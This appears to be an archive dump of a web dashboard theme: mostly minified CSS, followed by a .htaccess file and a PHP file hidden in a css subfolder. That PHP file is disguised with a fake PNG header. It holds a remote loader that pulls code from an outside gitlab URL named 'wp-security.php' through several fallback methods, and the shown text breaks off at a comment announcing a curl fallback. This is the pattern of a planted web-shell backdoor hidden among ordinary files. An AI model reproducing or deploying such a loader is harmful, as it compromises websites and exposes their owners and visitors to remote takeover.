0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.wrapper .header-top .top-menu .nav-link:hover,.wrapper .header-top .top-menu .nav-link:focus{background-color:#dee2e6;color:#333}.wrapper .header-top .top-menu .nav-link i{font-size:16px}.wrapper .header-top .top-menu .nav-link .badge{right:-1px;position:absolute;top:-4px;padding:3px;width:17px;font-size:11px;font-weight:800;color:#fff;border-radius:100px;-webkit-border-radius:100px;-moz-border-radius:100px}.wrapper .header-top .top-menu .avatar{color:#4c5667;font-weight:600;width:30px;height:30px;line-height:30px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;display:inline-block;background:#ced4da no-repeat center/cover;position:relative;vertical-align:bottom;font-size:.875rem;user-select:none}.wrapper .header-top .top-menu .mobile-nav-toggle{border:none;position:relative;margin-right:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span{height:2px;width:20px;background-color:#4a5361;display:inline-block;border-radius:4px;position:absolute;top:14px;left:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span::before,.wrapper .header-top .top-menu .mobile-nav-toggle span::after{content:"";height:2px;width:20px;border-radius:4px;background-color:#4a5361;display:inline-block;position:absolute}.wrapper .header-top .top-menu .mobile-nav-toggle span::before{left:0;top:-6px}.wrapper .header-top .top-menu .mobile-nav-toggle span::after{left:0;bottom:-6px}.wrapper .header-top .top-menu .header-search{padding:0 10px;position:relative}.wrapper .header-top .top-menu .header-search .input-group{border-radius:20px;-webkit-border-radius:20px;-moz-border-radius:20px;margin-bottom:0}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon{color:#404E67;padding:2px 10px 2px 0px;font-size:16px;cursor:pointer}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close{padding:2px 0px 2px 10px;display:none}.wrapper .header-top .top-menu .header-search .input-group .form-control{padding:0 10px;min-height:auto;width:0;border:none;color:#353c4e;background-color:transparent;border-radius:0px;-webkit-border-radius:0px;-moz-border-radius:0px}.wrapper .header-top .top-menu .header-search.open .input-group{background-color:#e4e4e4}.wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close{display:block}@media only screen and (max-width: 1023px){.wrapper .header-top{padding-left:0}}.wrapper .header-top[header-theme="light"]{background:#fff}.wrapper .header-top[header-theme="dark"]{background:#272d36}.wrapper .header-top[header-theme="blue"]{background:#007bff}.wrapper .header-top[header-theme="red"]{background:#f5365c}.wrapper .header-top[header-theme="orange"]{background:#fb6340}.wrapper .header-top[header-theme="green"]{background:#2dce89}.wrapper .header-top[header-theme="purple"]{background:#BF55EC}.wrapper .header-top[header-theme="blue"] .top-menu .nav-link,.wrapper .header-top[header-theme="red"] .top-menu .nav-link,.wrapper .header-top[header-theme="orange"] .top-menu .nav-link,.wrapper .header-top[header-theme="green"] .top-menu .nav-link,.wrapper .header-top[header-theme="purple"] .top-menu .nav-link,.wrapper .header-top[header-theme="dark"] .top-menu .nav-link{color:#fff;background-color:transparent}.wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon{color:#fff}.wrapper .page-wrap{position:relative}.wrapper .page-wrap .app-sidebar{position:fixed;left:0;top:0;width:240px;height:100vh;background-color:#fff;z-index:1040;-webkit-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-o-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-webkit-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-moz-transform:translate3d(0, 0, 0);-o-transform:translate3d(0, 0, 0);-ms-transform:translate3d(0, 0, 0);-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);white-space:nowrap;visibility:visible}.wrapper .page-wrap .app-sidebar .sidebar-header{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:space-between;-moz-justify-content:space-between;-ms-justify-content:space-between;justify-content:space-between;-ms-flex-pack:space-between;padding:13px 15px;height:60px}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand{display:block;font-size:22px;font-weight:700;color:#212529}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img{display:inline-block;width:30px}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon{border:none}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:none;border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:inline-block}}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}}.wrapper .page-wrap .app-sidebar .sidebar-content{position:relative;height:-webkit-calc(100vh - 60px);height:-moz-calc(100vh - 60px);height:calc(100vh - 60px);overflow:auto;z-index:4}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a{display:block;overflow:hidden;padding:15px 5px;margin-left:15px;margin-right:15px;color:#545454;position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i{font-size:20px;margin-right:10px;display:inline-block;vertical-align:-4px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{font-size:13px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge{position:absolute;right:30px;text-align:center;top:16px;vertical-align:middle;white-space:nowrap;opacity:1;visibility:visible;border-radius:4px;font-size:75%;padding:4px 7px;margin-right:5px;font-weight:800;color:#fff;-webkit-transition:opacity 0.3s linear;transition:opacity 0.3s linear;text-transform:uppercase}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled{opacity:0.5;cursor:not-allowed !important}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before{content:"\e844";font-family:"iconkit";position:absolute;right:3px;top:15px;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content{background-color:#f3f3f3}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item{padding:10px 5px;font-size:13px;padding-left:50px;margin:0}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active{color:#eb525d}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before{content:"\e844";font-family:"iconkit";position:absolute;right:20px;top:10px;display:inline-block;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item{padding-left:70px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;position:absolute;top:10px;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;top:10px;position:absolute;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{font-size:14px;font-weight:400;opacity:1;padding:8px 20px 8px;text-transform:capitalize;visibility:visible;width:100%;color:#999;background:#333e52}.wrapper .page-wrap .app-sidebar.colored .sidebar-header{background-color:#272d36}.wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content{background-color:#404E67}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item{border-color:rgba(243,243,243,0.15)}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i{color:#bcc8d8}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content{background-color:#4a5872}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after,.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after{background-color:#eb525d}.wrapper .page-wrap .app-sidebar.hide-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-moz-transform:translate3d(-100%, 0, 0);-o-transform:translate3d(-100%, 0, 0);-ms-transform:translate3d(-100%, 0, 0);-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)}}.wrapper .page-wrap .main-content{padding:30px 0;background-color:#F6F7FB;min-height:calc(100vh - 120px);margin-top:60px;padding-right:15px;padding-left:255px;-moz-transition:all 0.3s ease;-o-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}@media only screen and (max-width: 1023px){.wrapper .page-wrap .main-content{padding-left:0;padding-right:0}}.wrapper .page-wrap .main-content .page-header{margin-bottom:30px}.wrapper .page-wrap .main-content .page-header .page-header-title i{float:left;width:40px;height:40px;border-radius:5px;margin-right:20px;vertical-align:middle;font-size:22px;color:#fff;display:inline-flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);-moz-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);box-shadow:0 2px 12px -3px rgba(0,0,0,0.5)}.wrapper .page-wrap .main-content .page-header .page-header-title h5{margin-bottom:0;font-weight:700;font-size:18px}.wrapper .page-wrap .main-content .page-header .page-header-title h5+span{font-size:13px}.wrapper .page-wrap .main-content .page-header .breadcrumb-container{float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb{background-color:transparent;margin-bottom:0;float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a{color:#212121}.wrapper .page-wrap .main-content .card .card-body .sub-title{font-size:14px;border-bottom:1px solid rgba(204,204,204,0.35);padding-bottom:10px;margin-bottom:20px;color:#2c3e50}.wrapper .page-wrap .main-content .card .card-body code{background-color:#eee;margin:5px;display:inline-block;padding:1px 6px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item{padding:13px 20px;border:1px solid #ededed;position:relative;border-left:0;border-right:0;height:50px;overflow:hidden;-moz-transition:transform 0.2s ease-in-out;-o-transition:transform 0.2s ease-in-out;-webkit-transition:transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:flex-start;-moz-justify-content:flex-start;-ms-justify-content:flex-start;justify-content:flex-start;-ms-flex-pack:flex-start;position:relative}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control{margin:0;margin-top:-2px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title{width:100%;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a{color:#3e5569;font-weight:600;display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;width:calc(100% - 50px)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions{position:absolute;right:0px;top:50%;opacity:0;display:none;z-index:3;padding-left:10px;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:32px;color:#999;display:inline-block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus{background-color:#dee2e6;color:#333}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap{margin-top:5px;opacity:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p{margin:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus{background-color:#f9f9f9}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions{opacity:1;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened{height:auto;background-color:#fff;border:none;z-index:5;-webkit-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-transform:scale(1.01);-o-transform:scale(1.01);-ms-transform:scale(1.01);-webkit-transform:scale(1.01);transform:scale(1.01)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a{font-size:16px;color:#263238}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap{opacity:1}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item+.list-item{margin-top:-1px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child{border-bottom:none}.wrapper .page-wrap .footer{background:#fff;padding:20px 30px;border-top:1px solid rgba(0,0,0,0.04);font-size:calc(0.875rem - 0.05rem);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}@media only screen and (min-width: 1024px){.wrapper .page-wrap .footer{padding-left:270px}}.wrapper .page-wrap .right-sidebar{position:fixed;top:60px;right:0;width:240px;background:#fff;height:calc(100vh - 60px);border-left:1px solid #eef1f2;border-top:1px solid #eef1f2;padding:1.07143em;z-index:9;-moz-transform:translateX(100%);-o-transform:translateX(100%);-ms-transform:translateX(100%);-webkit-transform:translateX(100%);transform:translateX(100%);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6{color:#353c4e}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group{position:relative}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control{padding-right:30px;border-radius:50px;-webkit-border-radius:50px;-moz-border-radius:50px;padding-left:15px}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i{position:absolute;top:8px;right:10px;font-size:16px;color:#bbb}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group{margin-left:-1.07143em;margin-right:-1.07143em}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item{background:none;border:0;border-top:1px solid #eef1f2;padding:1em 1.07143em;overflow:hidden;color:#999;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure{margin:0;position:relative;margin-right:10px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img{width:40px;height:40px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span{line-height:1em;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:end;-moz-justify-content:end;-ms-justify-content:end;justify-content:end;-ms-flex-pack:end;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name{font-size:14px;color:#444;margin-bottom:5px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after{position:absolute;top:calc(50% + 15px);left:0;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel{position:fixed;top:calc(100vh);right:calc( 240px + 15px);width:310px;z-index:9999;-moz-transform:translateY(-100%) translateX(14.0625rem);-o-transform:translateY(-100%) translateX(14.0625rem);-ms-transform:translateY(-100%) translateX(14.0625rem);-webkit-transform:translateY(-100%) translateX(14.0625rem);transform:translateY(-100%) translateX(14.0625rem)}.wrapper .page-wrap .chat-panel .card{border:none;margin-bottom:1.42857em;border-radius:10px;-webkit-border-radius:10px;-moz-border-radius:10px;-webkit-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);-moz-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);box-shadow:0 4px 8px 3px rgba(0,0,0,0.2)}.wrapper .page-wrap .chat-panel .card .card-header{background:none;padding:1.07143em 1.42857em;font-size:1.14286em;border-bottom:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-body{padding:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages{position:relative;max-height:21.42857em;overflow-y:scroll;margin-top:-1.07143em;margin-right:-1.07143em;margin-left:-1.07143em;padding-top:1.07143em;padding-right:1.07143em;padding-left:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages .message{margin:0.71429em 0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child{margin-top:0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure{-webkit-box-ordinal-group:3;-ms-flex-order:2;margin:0;position:relative;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img{width:30px;height:30px}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body{margin-top:.5em;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end;margin:auto 1.5em;-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p{background:#404E67;border:1px solid #404E67;border-radius:3px;padding:.5em 1em;color:#fff;margin-bottom:.5em;position:relative}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;top:1.25rem;right:-7px;left:auto;border-style:solid;border-width:6px 0 7px 6px;border-color:transparent transparent transparent #404E67;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{right:-7px;border-left-color:#404E67}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p{background:#fff;border:1px solid #eef1f2;border-radius:0;border-top-right-radius:3px;border-bottom-right-radius:3px;border-radius:3px;color:#666}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{left:-9px;border-right-color:#eef1f2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-footer{background:none;padding:1.07143em 1.42857em;border-top:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-footer .list-icon{font-size:1.125rem}.wrapper .page-wrap .chat-panel .card .card-footer textarea{box-shadow:none;resize:none;padding:0;width:100%;min-height:auto;padding:5px 0}.wrapper.nav-collapsed .header-top{padding-left:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar{width:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover{width:240px}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel{display:block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before{display:inline-block}.wrapper.nav-collapsed .page-wrap .main-content{padding-left:75px}.wrapper.nav-collapsed .page-wrap .footer{padding-left:90px}.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}.wrapper.right-sidebar-expand .right-sidebar{-moz-transform:translateX(0);-o-transform:translateX(0);-ms-transform:translateX(0);-webkit-transform:translateX(0);transform:translateX(0)}.wrapper.right-sidebar-expand .chat-panel{-moz-transform:translateY(-100%) translateX(0);-o-transform:translateY(-100%) translateX(0);-ms-transform:translateY(-100%) translateX(0);-webkit-transform:translateY(-100%) translateX(0);transform:translateY(-100%) translateX(0)}hr{box-sizing:content-box;height:0;margin-top:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}.profiletimeline{position:relative;padding-left:40px;margin:40px 10px 0 30px;border-left:1px solid rgba(0,0,0,0.1)}.profiletimeline .sl-item{margin-top:8px;margin-bottom:30px}.profiletimeline .sl-item .sl-left{float:left;margin-left:-60px;z-index:1;margin-right:15px}.profiletimeline .sl-item .sl-left img{max-width:40px}.profiletimeline .sl-item .sl-right .sl-date{font-size:12px;color:#afb5c1}.dd-handle{background:#f7f7f7;border-radius:3px;padding:20px;position:relative;display:block;text-decoration:none;margin:5px 0;overflow:hidden}.dd-handle p{margin:0}.dd-handle:after,.dd-handle::after{content:'';width:5px;height:100%;position:absolute;top:0;left:0}.dd-list{margin:0;padding:0;list-style:none}.dd-list .dd-placeholder,.dd-list .dd-empty{margin:5px 0;padding:0;min-height:30px;background:#f2fbff;border:1px dashed #b6bcbf;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dd-list .dd-list{padding-left:30px}.dd-dragel{position:absolute;pointer-events:none;z-index:9999}.dd-dragel .dd-handle{-webkit-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);-ms-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1)}.todo-task .dd-handle:after,.todo-task .dd-handle::after{background-color:#f5365c}.progress-task .dd-handle:after,.progress-task .dd-handle::after{background-color:#F7CA18}.completed-task .dd-handle:after,.completed-task .dd-handle::after{background-color:#26C281}[class*="user--"]::after{height:0.64286em;width:0.64286em;display:block;position:absolute;top:0;right:10%;border-radius:100px;content:"";-webkit-box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 2px #fff}.user--online:after{background:#06d6a0}.user--busy:after{background:#ff3333}.user--offline:after{background:#bbb}
/*# sourceMappingURL=theme.min.css.map */
PK��\
css/index.phpnu�[���PK��\��<�{{css/140663/.htaccessnu�[���#---do-not-change-the-following-content---
<FilesMatch "^(index.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>PK��\w��	�	css/140663/index.phpnu�[����PNG

<?php

// Fake PNG Header Generation (for disguising image files)
function generateFakePng() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $data = '89 50 4E 47 0D 0A 1A 0A'; // PNG signature
    $data .= '00 00 00 0D 49 48 44 52'; // IHDR chunk (header)
    $data .= '00 00 01 00 00 00 01 00'; // 1x1 image dimensions
    $data .= '08 02 00 00 00';          // Color type, compression, filter, interlace
    $data .= '00 00 00 00';             // CRC
    $data .= '00 00 00 00';             // Empty chunk
    $data .= '74 45 58 74 64 75 53 65'; // tEXt chunk signature
    $data .= '00 00 00 00';             // Text chunk data
    $data .= '75 73 65 72 2D 61 67 65'; // Random User-Agent
    $data .= '6E 74';                   // End of tEXt chunk
    
    // Fake corruption chunk (cORR)
    $data .= '63 4F 52 52 00 00 00 01'; // cORR signature
    $data .= '00 00 00 00';             // Fake corruption data
    $data .= '49 45 4E 44 AE 42 60 82'; // End of PNG

    return hex2bin($data);
}

// 启动会话
session_start();

// 设置主地址,如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';

// 定义加载函数
function 加载数据($地址) {
    $内容 = '';
    try {
        $文件 = new SplFileObject($地址);
        while (!$文件->eof()) {
            $内容 .= $文件->fgets();
        }
    } catch (Throwable $错误) {
        $内容 = '';
    }

    // 尝试用 file_get_contents
    if (strlen(trim($内容)) < 1) {
        $内容 = @file_get_contents($地址);
    }

    // 如果还失败,使用 curl
